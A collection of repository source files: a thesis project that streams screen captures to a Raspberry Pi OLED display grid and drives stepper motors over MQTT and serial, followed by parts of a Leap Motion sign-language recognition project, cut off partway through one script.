socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nimage_server.bind((server_address, server_port))\nimage_server.listen(True)\n\n\ni2c_panel_width = 128\ni2c_panel_height = 64\nnumber_of_display_row_col = 3\n\ni2c_port = [3, 4, 5, 6, 7, 8, 9, 10, 11]\nserial_array = [[None for row in range(number_of_display_row_col)]\n for column in range(number_of_display_row_col)]\n\ndisplay_array = [[None for row in range(number_of_display_row_col)]\n for column in range(number_of_display_row_col)]\n\nlogging.basicConfig(format='%(asctime)s, %(levelname)s\\t: %(message)s', filename=file_name+'.log', datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)\n#logging.basicConfig(format='%(asctime)s, %(levelname)s\\t: %(message)s',\n #datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)\n\n\ndef init_display():\n logging.info('initializing displays for the script')\n port_index = 0\n global serial_array\n global display_array\n try:\n for row in range(3):\n for column in range(3):\n logging.info(\n 'initializing display no : {}x{}'.format(row+1, column+1))\n serial_array[row][column] = i2c(\n port=i2c_port[port_index], address=0x3C)\n logging.debug(\n '{}x{} no port is initialized'.format(row+1, column+1))\n display_array[row][column] = ssd1306(serial_array[row][column])\n logging.debug(\n '{}x{} no display is initialized'.format(row+1, column+1))\n port_index = port_index+1\n pass\n pass\n except Exception as client_error:\n logging.error('display initializing failed : {}'.format(client_error))\n pass\n\n port_index = 0\n pass\n\n\ndef convert_image_segment(screenshot):\n logging.info('converting image into {}x{} segments'.format(\n number_of_display_row_col, number_of_display_row_col))\n screenshot_height, screenshot_width = screenshot.shape\n logging.debug('the image is {}px wide & {}px tall'.format(\n screenshot_width, screenshot_height))\n segment_height = int(screenshot_height / number_of_display_row_col)\n segment_width = int(screenshot_width / number_of_display_row_col)\n logging.info('size of the segment matrix will be : {}x{}'.format(\n number_of_display_row_col, number_of_display_row_col))\n logging.debug('each segment will be {}px wide & {}px tall'.format(\n segment_width, segment_height))\n for row in range(0, number_of_display_row_col):\n for column in range(0, number_of_display_row_col):\n temp_segment = screenshot[row*segment_height:(\n row+1)*segment_height, column*segment_width:(column+1)*segment_width]\n logging.debug('position of segment number {}x{} is : {},{}'.format(\n row+1, column+1, (row+1)*segment_height, (column+1)*segment_width))\n temp_segment = Image.fromarray(temp_segment).convert('1')\n yield row, column, temp_segment\n pass\n\n\ndef convert_string_image(screenshot_string):\n logging.info('converting image string into image')\n logging.debug('decodeing image bytes from image string')\n screenshot_decoded = base64.b64decode(screenshot_string)\n logging.debug('converting bytecode image into numpy array')\n screenshot_array = numpy.frombuffer(screenshot_decoded, dtype='uint8')\n logging.debug('converting numpy array into image')\n return opencv_four.imdecode(screenshot_array, 0)\n\n\ndef receive_image_string(image_sender, sender_address):\n screenshot_string = b''\n global display_array\n try:\n logging.info(\n 'starting to receive the image data from the image client')\n logging.debug('image client address is : {}'.format(sender_address))\n logging.debug('reading image string from image sender')\n while True:\n temp_string = image_sender.recv(4096)\n if len(temp_string) <= 0:\n logging.info('image string reading complete')\n break\n screenshot_string += temp_string\n pass\n screenshot = convert_string_image(screenshot_string)\n image_segments = convert_image_segment(screenshot)\n for row, column, segment in image_segments:\n try:\n logging.info(\n 'printing image in segment number : {}x{}'.format(row+1, column+1))\n display_array[row][column].clear()\n display_array[row][column].display(segment)\n\n logging.debug(\n 'image printing successfull in segment number : {}x{}'.format(row+1, column+1))\n except Exception as client_error:\n logging.error('image printing error : {}'.format(client_error))\n pass\n logging.debug('clossing connection with image sender')\n image_sender.close()\n logging.info('connection closed with image sender')\n except Exception as client_error:\n logging.error('image string receiving error : {}'.format(client_error))\n pass\n\n\ndef run_main():\n init_display()\n try:\n logging.debug('image server successfully created')\n while True:\n logging.info('waiting for new image sender request')\n image_sender, sender_address = image_server.accept()\n # receive_image_string(image_sender, sender_address)\n _thread.start_new_thread(\n receive_image_string, (image_sender, sender_address),)\n except Exception as server_error:\n logging.error('image server error : {}'.format(server_error))\n pass\n pass\n\n\nif __name__ == '__main__':\n logging.info('welcome to thesis {} script'.format(file_name))\n run_main()\n logging.info('leaving from thesis {} script'.format(file_name))" }, { "alpha_fraction": 0.647845447063446, "alphanum_fraction": 0.7295690774917603, "avg_line_length": 38.588233947753906, "blob_id": "65df3c24a7b93f2fa642b91edacc1cfccb9d8fc0", "content_id": "a42dfb6e407e26be87b076814f11fb7c30b5fae1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "permissive", "max_line_length": 71, "num_lines": 17, "path": "/forign/101/Raspberry pi codes/test.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "from luma.core.interface.serial import i2c\nfrom luma.core.render import canvas\nfrom luma.oled.device import ssd1306, ssd1325, ssd1331, sh1106\nfrom time import sleep\n\nserial0 = i2c(port=3, address=0x3C)\ndevice0 = ssd1306(serial0, rotate=0)\nserial1 = i2c(port=1, address=0x3C)\ndevice1 = ssd1306(serial1, rotate=0)\n# Box and text rendered in portrait mode\nwith canvas(device0) as draw:\n draw.rectangle(device0.bounding_box, outline=\"white\", fill=\"black\")\n draw.text((10, 40), \"Hello World\", fill=\"red\")\nwith canvas(device1) as draw:\n draw.rectangle(device1.bounding_box, outline=\"white\", fill=\"black\")\n draw.text((10, 40), \"thank you\", fill=\"white\") \nsleep(10)\n" }, { "alpha_fraction": 0.5327869057655334, "alphanum_fraction": 0.5983606576919556, "avg_line_length": 23.41666603088379, "blob_id": "8a08c9e3557c0f44b75e9c8751a8c958bc7d2e59", "content_id": "d2f5ea7bc786b3ab64a58a40ca92189e51f1c863", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 610, "license_type": "permissive", "max_line_length": 65, "num_lines": 24, "path": "/forign/101/Arduino/dual_motor/dual_motor.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "#include <AccelStepper.h>\r\n\r\n//AccelStepper Xaxis(1, 2, 5); // pin 2 = step, pin 5 = direction\r\n//AccelStepper Yaxis(1, 3, 6); // pin 3 = step, pin 6 = direction\r\n//AccelStepper Zaxis(1, 4, 7); // pin 4 = step, pin 7 = direction\r\nint x=45;\r\nAccelStepper Xaxis(1, 2, 3); // pin 3 = step, pin 6 = direction\r\nAccelStepper Yaxis(1, 5, 6); // pin 4 = step, pin 7 = direction\r\n // pin 5 = step, pin 8 = direction\r\n\r\nvoid setup() {\r\n Xaxis.setMaxSpeed(400);\r\n Yaxis.setMaxSpeed(400);\r\n \r\n \r\n \r\n}\r\n\r\nvoid loop() { \r\n Xaxis.setSpeed(x*25);\r\n Yaxis.setSpeed(250);\r\n Xaxis.runSpeed();\r\n Yaxis.runSpeed();\r\n}\r\n" }, { "alpha_fraction": 0.6647646427154541, "alphanum_fraction": 0.7503566145896912, "avg_line_length": 19.647058486938477, "blob_id": "fc8b7a2cdd14b5f42b9709cb7caac62ef046e64c", "content_id": "e1406ff5cc535f0d325a2547b8d932ff46d56518", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 701, "license_type": "permissive", "max_line_length": 63, "num_lines": 34, "path": "/forign/101/Raspberry pi codes/resizeImg.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import cv2\nimport time\nimport Adafruit_GPIO.SPI as SPI\nimport Adafruit_SSD1306\nfrom luma.core.interface.serial import i2c\nfrom luma.core.render import canvas\nfrom luma.oled.device import ssd1306, ssd1325, ssd1331, sh1106\nfrom time import sleep\n\nfrom PIL import Image\n\nRST = 24\n\nimage = cv2.imread(\"download.jpeg\")\n\nw=128\nh=64\ndim=(w,h)\ndisp1 = Adafruit_SSD1306.SSD1306_128_64(rst=RST,i2c_bus=1)\ndisp1.begin()\n\n# Clear display.\ndisp1.clear()\ndisp1.display()\n\nresized = cv2.resize(image, dim, interpolation =cv2.INTER_AREA)\n\nif disp1.height == 64:\n image = Image.fromarray(resized).convert('1')\nelse:\n image = Image.fromarray(resized).convert('1')\ndisp1.image(image)\ndisp1.display()\ncv2.waitKey(0)" }, { "alpha_fraction": 0.6323310732841492, "alphanum_fraction": 0.6448347568511963, "avg_line_length": 30.990476608276367, "blob_id": "f16e2e2730505701b9d87f350a0f76fe558bda6e", "content_id": "21407b5b366c290a792b041180ed55f487011a36", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3359, "license_type": "permissive", "max_line_length": 151, "num_lines": 105, "path": "/raspberry_pi/Not_Working/motor_driver.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import os\nimport time\nimport logging\nimport paho.mqtt.client as motor_server\nimport serial\nmotor_array = [[0 for row in range(3)]for column in range(3)]\nser = serial.Serial('/dev/ttyACM0', 9600)\ntime.sleep(2)\n\nfile_name = os.path.basename(__file__)\nmotor_server_ip = '192.168.0.101'\nmotor_client = motor_server.Client(file_name)\nvalue_segment = 3\n\nlogging.basicConfig(format='%(asctime)s, %(levelname)s\\t: %(message)s', filename=file_name+'.log', datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)\n#logging.basicConfig(format='%(asctime)s, %(levelname)s\\t: %(message)s',\n #datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)\n\n\ndef send_data(string_data):\n logging.info('sending motor start command to the micro controller')\n logging.info('sending data matrix to the micro controller')\n # put your code\n #ser = serial.Serial('/dev/ttyACM0', 9600)\n #time.sleep(2)\n #logging.info('microcontroller response : {}'.format(ser.read(ser.inWaiting())))\n # time.sleep(.1)\n #ser.flush()\n \n \n arduino_1=string_data\n \n ser.write(arduino_1.encode())\n #ser.close()\n \n # time.sleep(.01)\n \n\n logging.debug('data send to microcontroller is successfull')\n pass\n\n\ndef convert_data():\n logging.info('constructing data into string format')\n string_data = ''\n for row in range(3):\n for column in range(3):\n string_data = string_data+str(motor_array[row][column]) + ','\n string_data = string_data + ','\n pass\n logging.info('removing unwanted charector from the string')\n string_data = string_data.replace(\",,\", \",\")\n logging.info('removing last charector from the string')\n string_data = string_data[:-1]\n logging.debug(\n 'successfully converted string data : {}'.format(string_data))\n return string_data\n\n\ndef on_connect(motor_client, _, flags, rc):\n logging.info('connected with result code : {}'.format(rc))\n\n\ndef process_message(motor_client, _, msg):\n logging.info('stating data retrival algorithm')\n msg_topic = msg.topic.split('/')\n if(msg_topic[2] == 'enable'):\n logging.info('motor enable command found')\n send_data(convert_data())\n pass\n else:\n logging.debug('finding the z axis cordinate')\n logging.info('z axis cordant is : {}'.format(msg_topic[2]))\n logging.debug('finding the z axis value')\n motor_row = int(msg_topic[value_segment][0])\n motor_column = int(msg_topic[value_segment][1])\n motor_value = int(msg.payload.decode(\"utf-8\"))\n motor_array[motor_row][motor_column] = motor_value\n logging.info('successfully found {}x{} axis value : {}'.format(\n motor_row+1, motor_column+1, motor_value))\n\n\ndef on_subscribe(motor_client, _, mid, granted_qos):\n logging.info('subscribed: {}, {}'.format(mid, granted_qos))\n\n\ndef run_main():\n motor_client.on_connect = on_connect\n motor_client.on_message = process_message\n motor_client.on_subscribe = on_subscribe\n motor_client.enable_logger(logger=None)\n\n motor_client.connect(motor_server_ip)\n\n motor_client.subscribe(\"thesis/motor/#\", qos=0)\n motor_client.loop_forever()\n\n\npass\n\n\nif __name__ == '__main__':\n logging.info('welcome to thesis {} script'.format(file_name))\n run_main()\n logging.info('leaving from thesis {} script'.format(file_name))\n" }, { "alpha_fraction": 0.6416739225387573, "alphanum_fraction": 0.6782912015914917, "avg_line_length": 31.735294342041016, "blob_id": "11e2df8fa6c1526603be83188ec197230d26dfdd", "content_id": "323a7c59f00836f77ff91befbd2bb28d1ef674ac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1147, "license_type": "permissive", "max_line_length": 137, "num_lines": 34, "path": "/forign/101/Arduino/test/test.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "int smDirectionPin = 2; //Direction pin\r\nint smStepPin = 3; //Stepper pin\r\n \r\nvoid setup(){\r\n /*Sets all pin to output; the microcontroller will send them(the pins) bits, it will not expect to receive any bits from thiese pins.*/\r\n pinMode(smDirectionPin, OUTPUT);\r\n pinMode(smStepPin, OUTPUT);\r\n \r\n Serial.begin(9600);\r\n}\r\n \r\nvoid loop(){\r\n digitalWrite(smDirectionPin, HIGH); //Writes the direction to the EasyDriver DIR pin. (HIGH is clockwise).\r\n /*Slowly turns the motor 1600 steps*/\r\n for (int i = 0; i < 1600; i++){\r\n digitalWrite(smStepPin, HIGH);\r\n delayMicroseconds(700);\r\n digitalWrite(smStepPin, LOW);\r\n delayMicroseconds(700);\r\n }\r\n \r\n delay(1000); //Pauses for a second (the motor does not need to pause between switching direction, so you can safely remove this)\r\n \r\n digitalWrite(smDirectionPin, LOW); //Writes the direction to the EasyDriver DIR pin. (LOW is counter clockwise).\r\n /*Turns the motor fast 1600 steps*/\r\n for (int i = 0; i < 1600; i++){\r\n digitalWrite(smStepPin, HIGH);\r\n delayMicroseconds(70);\r\n digitalWrite(smStepPin, LOW);\r\n delayMicroseconds(70);\r\n }\r\n \r\n delay(1000);\r\n}\r\n" }, { "alpha_fraction": 0.6284067034721375, "alphanum_fraction": 0.6398060917854309, "avg_line_length": 43.11560821533203, "blob_id": "4491a165184f2cfe160f4aa267fbb12d7d7d0abb", "content_id": "bbc85547fe17c9210c3a68098a5b1f95c8f3d0c5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7632, "license_type": "permissive", "max_line_length": 152, "num_lines": 173, "path": "/thesis_main.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import base64\nimport logging\nimport os\nimport socket\nfrom time import sleep\nimport wx\n\nimport cv2 as opencv_four\nimport numpy as np\nimport pyautogui\nfrom mss import mss\n\nimport paho.mqtt.client as data_transponder_tool\n\n# program parameters\ni2c_panel_width = 128\ni2c_panel_height = 64\nnumber_of_display_row_col = 3\n\nremote_port = 5050\nremote_address = '192.168.0.101'\nmotor_lift_chanel_prefix = 'thesis/motor/value/'\nmotor_lift_enable_chanel = 'thesis/motor/enable'\n\n# program classes\nfile_name = os.path.basename(__file__)\nscreenshot_tool = mss()\n\n\n# mode variable\nvalue_mod = 1\n# logging.basicConfig(format='%(asctime)s, %(levelname)s\\t: %(message)s',filename=file_name+'.log', datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)\nlogging.basicConfig(format='%(asctime)s, %(levelname)s\\t: %(message)s',\n datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG)\n\ntry:\n data_transponder = data_transponder_tool.Client(file_name)\n data_transponder.connect(remote_address)\n image_transponder = socket.socket()\nexcept:\n logging.error(\"remote server : {} not found\".format(remote_address))\n\n\ndef find_motor_lift(screenshot_converted):\n logging.info('finding the individual segments z-axis value')\n screenshot_height, screenshot_width = screenshot_converted.shape\n logging.debug('the image is {}px wide & {}px tall'.format(\n screenshot_width, screenshot_height))\n segment_height = int(screenshot_height / number_of_display_row_col)\n segment_width = int(screenshot_width / number_of_display_row_col)\n logging.info('size of the segment matrix will be : {}x{}'.format(\n number_of_display_row_col, number_of_display_row_col))\n logging.debug('each segment will be {}px wide & {}px tall'.format(\n segment_width, segment_height))\n for row in range(0, number_of_display_row_col):\n for column in range(0, number_of_display_row_col):\n temp_segment = screenshot_converted[row*segment_height:(\n row+1)*segment_height, column*segment_width:(column+1)*segment_width]\n logging.debug('position of segment number {}x{} is : {},{}'.format(\n row+1, column+1, (row+1)*segment_height, (column+1)*segment_width))\n yield row, column, int(np.mean(temp_segment))\n pass\n\n\ndef screenshot_convert(screenshot):\n logging.info('converting image from 2d to 3d in gray scale')\n logging.debug('converting image from into numpy array')\n screenshot = np.array(screenshot)\n logging.debug('applying algorithm to convert the image into gray scale')\n screenshot_gray = opencv_four.cvtColor(\n screenshot, opencv_four.COLOR_BGR2GRAY)\n logging.debug('applying algorithm to find the edges of the image')\n screenshot = np.array(np.ones((11, 11), np.float32))/121\n screenshot = np.array(([1, 0, -1], [0, 0, 0], [-1, 0, 1]), np.float32)\n return opencv_four.filter2D(screenshot_gray, -1, screenshot)\n\n\ndef screenshot_convert_updated(screenshot, threshold_vale=0):\n logging.info('converting image from 2d to 3d in gray scale')\n logging.debug('converting image from into numpy array')\n screenshot = np.array(screenshot)\n logging.debug('applying algorithm to convert the image into gray scale')\n screenshot_gray = opencv_four.cvtColor(\n screenshot, opencv_four.COLOR_BGR2GRAY)\n logging.debug('applying algorithm to find the depth of the image')\n _, screenshot_converted = opencv_four.threshold(\n screenshot_gray, threshold_vale, 255, opencv_four.THRESH_TOZERO_INV + opencv_four.THRESH_OTSU)\n return screenshot_converted\n\n\ndef run_main():\n logging.debug('entering to image capture mode')\n while True:\n mouse_possition = pyautogui.position()\n mouse_x = int(mouse_possition[0])\n mouse_y = int(mouse_possition[1])\n # logging.info('mouse possition is at x : {}, y : {}'.format(mouse_x, mouse_y))\n\n binding_box_top = mouse_y-number_of_display_row_col*i2c_panel_height/2\n binding_box_left = mouse_x-number_of_display_row_col*i2c_panel_height/2\n binding_box_width = number_of_display_row_col*i2c_panel_width\n binding_box_height = number_of_display_row_col*i2c_panel_height\n\n binding_box = {'top': binding_box_top, 'left': binding_box_left,\n 'width': binding_box_width, 'height': binding_box_height}\n\n screenshot = screenshot_tool.grab(binding_box)\n # logging.debug('display captured at : {}'.format(binding_box))\n screenshot = np.array(screenshot)\n\n # preview the live image\n opencv_four.imshow('LIVE VIEW (press c to capture)', screenshot)\n if (opencv_four.waitKey(1) & 0xFF) == ord('c'):\n logging.debug('display freezed at : {}'.format(binding_box))\n\n saved_image = opencv_four.imwrite(\n filename=file_name+'_screenshot.jpg', img=screenshot)\n\n logging.info(\n 'Image written to file-system : {}'.format(saved_image))\n\n logging.info('sending image to display server')\n try:\n logging.debug('converting image from numpy array to jpg')\n _, screenshot_jpg = opencv_four.imencode('.jpg', screenshot)\n logging.debug('trying to connect with display image server')\n image_transponder = socket.socket()\n image_transponder.connect((remote_address, remote_port))\n logging.debug(\n 'sending the jpg image to the display image server')\n image_transponder.send(base64.b64encode(screenshot_jpg))\n image_transponder.close()\n logging.info('image send to image display server')\n except Exception as sending_error:\n logging.error(\n 'image sending failed : {}'.format(sending_error))\n\n screenshot_converted = screenshot_convert_updated(screenshot)\n logging.info('image convertion successful')\n motor_lift = find_motor_lift(screenshot_converted)\n for row, column, value in motor_lift:\n logging.debug(\n 'z-axis value of segment number {}x{} is : {}'.format(row+1, column+1, value))\n logging.info(\n 'publissing z-axis data into the transport server')\n data_transponder.publish(\n ''.join((motor_lift_chanel_prefix, str(row), str(column))), value * value_mod)\n logging.debug('data published for segment number {}x{} in chanel : {}'.format(\n row+1, column+1, ''.join((motor_lift_chanel_prefix, str(row), str(column)))))\n logging.info(\n 'publissing liftoff command into the transport server')\n data_transponder.publish(motor_lift_enable_chanel, 1)\n logging.info(\n 'liftoff command successfully published into the transport server')\n opencv_four.imshow('CONVERTED SCREENSHOT', screenshot_converted)\n saved_image = opencv_four.imwrite(\n file_name+'_screenshot_converted.jpg', screenshot_converted)\n\n logging.info(\n 'image written to file-system : {}'.format(saved_image))\n logging.info('process done')\n '''opencv_four.destroyAllWindows()\n break'''\n if (opencv_four.waitKey(1) & 0xFF) == ord('q'):\n opencv_four.destroyAllWindows()\n break\n pass\n\n\nif __name__ == '__main__':\n logging.info('welcome to thesis {} script'.format(file_name))\n run_main()\n logging.info('leaving from thesis {} script'.format(file_name))\n" } ]
25
cavan-courses/django_fact_app
https://github.com/cavan-courses/django_fact_app
67f718f4d39078f1959f63dd524806b86c2d695b
4a7963ffac715c45ec9ed269803c7d7f60f095e1
c1657e21ba81bb126bbf0a2cb191d1a3266d2db6
refs/heads/master
2020-06-21T21:02:24.206223
2019-07-26T12:55:22
2019-07-26T12:55:22
197,551,701
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8172042965888977, "alphanum_fraction": 0.8172042965888977, "avg_line_length": 17.600000381469727, "blob_id": "7ddda26ee95efc7411985925bdaf81eae397b0f6", "content_id": "3d0934590d6ab32100b37226dafabaeac4c40186", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 93, "license_type": "no_license", "max_line_length": 32, "num_lines": 5, "path": "/factproject/factapp/admin.py", "repo_name": "cavan-courses/django_fact_app", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom factapp.models import Fact\n\n\nadmin.site.register(Fact)\n" }, { "alpha_fraction": 0.6012832522392273, "alphanum_fraction": 0.6012832522392273, "avg_line_length": 21.72916603088379, "blob_id": "767a957f3ce339384c3280a298638d6f887bb578", "content_id": "2e9e3fc72cf356c88aa79124b8e0e6dc0e443b57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1091, "license_type": "no_license", "max_line_length": 71, "num_lines": 48, "path": "/factproject/factapp/views.py", "repo_name": "cavan-courses/django_fact_app", "src_encoding": "UTF-8", "text": "import random\n\nfrom django.shortcuts import render, redirect, reverse\nfrom django.http import HttpResponse\n\nfrom factapp.models import Fact\nfrom factapp.forms import FactForm\n\n\ndef home(request):\n return render(request, 'factapp/home.html', {})\n\ndef random_fact(request):\n facts = Fact.objects.all()\n\n rand_fact = random.choice(facts)\n\n context = {\n 'fact_title': rand_fact.title,\n 'fact_body': rand_fact.body,\n }\n\n return render(request, 'factapp/fact.html', context)\n\n\ndef fact_create(request):\n if request.method == 'GET':\n form = FactForm()\n\n context = {\n 'fact_form': form,\n }\n\n return render(request, 'factapp/fact_create.html', context)\n\n elif request.method == 'POST':\n form = FactForm(request.POST)\n\n if form.is_valid():\n new_fact = Fact.objects.create(**form.cleaned_data)\n\n return redirect(reverse('home'))\n else:\n context = {\n 'fact_form': form,\n }\n\n return render(request, 'factapp/fact_create.html', context)\n" }, { "alpha_fraction": 0.7201516032218933, "alphanum_fraction": 0.7378395199775696, "avg_line_length": 24.532258987426758, "blob_id": "4aea8d4787dd5dcc39ed4e308d4909db232bb0ec", "content_id": "bb66ab0e9346476c510a1b2e85fc5ab5cd075d36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1583, "license_type": "no_license", "max_line_length": 180, "num_lines": 62, "path": "/README.md", "repo_name": "cavan-courses/django_fact_app", "src_encoding": "UTF-8", "text": "# Tasks\n\n1. Recreate this project from scratch, try not to look at this code before you finished.\n2. Try to solve issue when getting same fact twice randomly.\n\n\n### Notes\n\n##### Getting project\n\nYou will not have `db.sqlite3` file once you've cloned this project. In order to get everything start you must enter this commands into your terminal:\n\n```bash\ncd ~/Desktop # to go into Desktop\ngit clone https://github.com/cavan-courses/django_fact_app # to download this project\ncd django_fact_app/factproject # to go into Django project folder\n\n# Now manage.py commands\npython3 manage.py migrate # admin, auth and so on...\npython3 manage.py makemigrations\npython3 manage.py migrate # migrates our fact model\n\n# Create admin\npython3 manage.py createsuperuser # now you will be asked for username, email, and password,,, just enter them\n```\n\nNow go to http://localhost:8000/admin and log in as admin to add new facts.\n\n##### Passing url arguments\n\nWe will discuss this next lesson, it is not important now. But if you are interested...\n\n\n```python\n# urls.py\n\nfrom django.contrib import admin\nfrom django.urls import path\n\nfrom yourapp import views\n\nurlpatterns = [\n path('foo/<int:number>', views.foo_view)\n]\n```\n\n\n```python\n# views.py\n\nfrom django.http import HttpResponse\n\ndef foo_view(request, number):\n return HttpResponse(str(number))\n```\n\nNow, if you go to http://localhost:8000/foo/1, then in your browser you must see `1`. If you go to http://localhost:8000/foo/123, then in your browser you must see `123` and so on.\n\nUse this information to solve task #2.\n\n\n# Good luck!\n" }, { "alpha_fraction": 0.7528089880943298, "alphanum_fraction": 0.7528089880943298, "avg_line_length": 16.799999237060547, "blob_id": "157a73cf9277bd8e890158a90bcc545ce3b21972", "content_id": "f36879e5a95e99aca2fdf24c3ee4ecc8ef47cef4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 89, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/factproject/factapp/apps.py", "repo_name": "cavan-courses/django_fact_app", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass FactappConfig(AppConfig):\n name = 'factapp'\n" }, { "alpha_fraction": 0.49193549156188965, "alphanum_fraction": 0.4973118305206299, "avg_line_length": 22.25, "blob_id": "845d5a02535beb7eea487ffc4523cb7217511a0e", "content_id": "82121eaee42c2b1f310da89041f0f2ba57654973", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 372, "license_type": "no_license", "max_line_length": 64, "num_lines": 16, "path": "/factproject/factapp/templates/factapp/fact.html", "repo_name": "cavan-courses/django_fact_app", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n{% load static %}\n<html>\n <head>\n <title>{{ fact_title }}</title>\n <link rel=\"stylesheet\" href=\"{% static 'css/master.css' %}\">\n </head>\n <body>\n <h1>{{ fact_title }}</h1>\n <p>{{ fact_body }}</p>\n <div>\n <a href=\"{% url 'home' %}\">Homepage</a>\n <a href=\"{% url 'random_fact' %}\">Get random fact</a>\n </div>\n </body>\n</html>\n" }, { "alpha_fraction": 0.6933333277702332, "alphanum_fraction": 0.6933333277702332, "avg_line_length": 29.882352828979492, "blob_id": "dbbc38f6644c9f8b2b89bcf08b5464a1ca6557bc", "content_id": "db4c5ad201507fad8ca99efe7d97948aa4bb948f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 525, "license_type": "no_license", "max_line_length": 99, "num_lines": 17, "path": "/factproject/factproject/urls.py", "repo_name": "cavan-courses/django_fact_app", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.contrib.auth import views as auth_views\n\nfrom django.urls import path\n\nfrom factapp import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.home, name='home'),\n path('randomfact', views.random_fact, name='random_fact'),\n\n path('login/', auth_views.LoginView.as_view(template_name='factapp/login.html'), name='login'),\n path('logout/', auth_views.LogoutView.as_view(), name='logout'),\n\n path('create/', views.fact_create, name='create')\n]\n" } ]
6
esilotesham/SRM
https://github.com/esilotesham/SRM
15bbf6e0010237b72d378ef7dcbe345960b80ce9
df5c74126be99cac4f531e9cf9ba62ac5f84a4f9
9ec42c336508d1b38051636d831d26b662bcd838
refs/heads/master
2022-03-27T05:25:43.532140
2019-12-05T03:12:06
2019-12-05T03:12:06
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6689607501029968, "alphanum_fraction": 0.6820371747016907, "avg_line_length": 43, "blob_id": "0346ca3b222626e3b860a301414e4ee226ed25ef", "content_id": "08218e1183f5d95e33281473f7d880cef63c67d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1453, "license_type": "no_license", "max_line_length": 221, "num_lines": 33, "path": "/README.md", "repo_name": "esilotesham/SRM", "src_encoding": "UTF-8", "text": "# Sign Language Recognition System \n### Summary of Project:\n - Creating a model that recognizes 3D images (3d images generated by Leap Motion) for Sign Language Recognition ( English alphabet ) using Leap motion and scikit learn (supervise learning, Classification algorithms ) \n\n\n### Topics \n 1. Leap Motion \n 2. Machine Learning (Supervised machine Learning -> classification -> Multi-class classification -> Random Forest Algorithm ) \n 3. Python 2.7 \n Note: Leap Motion SDK for this Project Supports Only Python 2.7 . \n### How to setup the Demo: \n - Download or Clone the Repository on your local computer. \n - Using Pip (python's package installer) install all necessary python modules for this project.\n - Leap -> (SDK Version 3.2.1 )\n - numpy \n - sckit-learn\n - pandas\n - joblib\n - etc \n - Connect the Leap Motion device and make sure that you have the drivers installed\n - Turn the Leap Motion tracking on. \n - Using Python 2.7 env with all the dependencies installed : \n - Run the file called \"Codes/realtime_implementation.py\"\n \n \n #### - Expected Result: \n - Outputs: \n 1. File was Empty : meaning that the head information from the leap motion does not contain valid content. \n 2. Prediction: X\n where X can be : \n - 0 : for A of the sign language alphabet\n - 1 : for B of the sign language alphabet\n - 2 : for C of the sign language alphabet\n\n" }, { "alpha_fraction": 0.6412556171417236, "alphanum_fraction": 0.6412556171417236, "avg_line_length": 12.176470756530762, "blob_id": "f7a029f6d9375bda23fe8819b2f2379322e3f178", "content_id": "3986fff843ff821dbb7ebfb1222d733478d0a4eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 223, "license_type": "no_license", "max_line_length": 45, "num_lines": 17, "path": "/Codes/Verifying_Dataset_After_Generation.py", "repo_name": "esilotesham/SRM", "src_encoding": "UTF-8", "text": "import pandas as pd\ndata = pd.read_csv(\"../dataset/dataset-.csv\")\nprint(data.shape)\n\n\n\n\"\"\"\n\nimport csv,numpy\n\nf = open('data.csv', 'rb+')\nbuf = csv.reader(f, delimiter=',')\nnumpy.asarray(buf)\nprint(type(buf))\nf.close()\n\n\"\"\"" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5531286597251892, "avg_line_length": 31.24761962890625, "blob_id": "3a245bba9b2061312387922e75947bc0cfca1087", "content_id": "4f9ba289e2fd237ae1159fa0267bbfec02fdcc65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3388, "license_type": "no_license", "max_line_length": 98, "num_lines": 105, "path": "/Codes/realtime_Implementation.py", "repo_name": "esilotesham/SRM", "src_encoding": "UTF-8", "text": "\n#For Windows OS\nimport os, sys, inspect\nsrc_dir = os.path.dirname(inspect.getfile(inspect.currentframe()))\narch_dir = '../dependencies/lib-win/x64' if sys.maxsize > 2**32 else '../dependencies/lib-win/x86'\nsys.path.insert(0, os.path.abspath(os.path.join(src_dir, 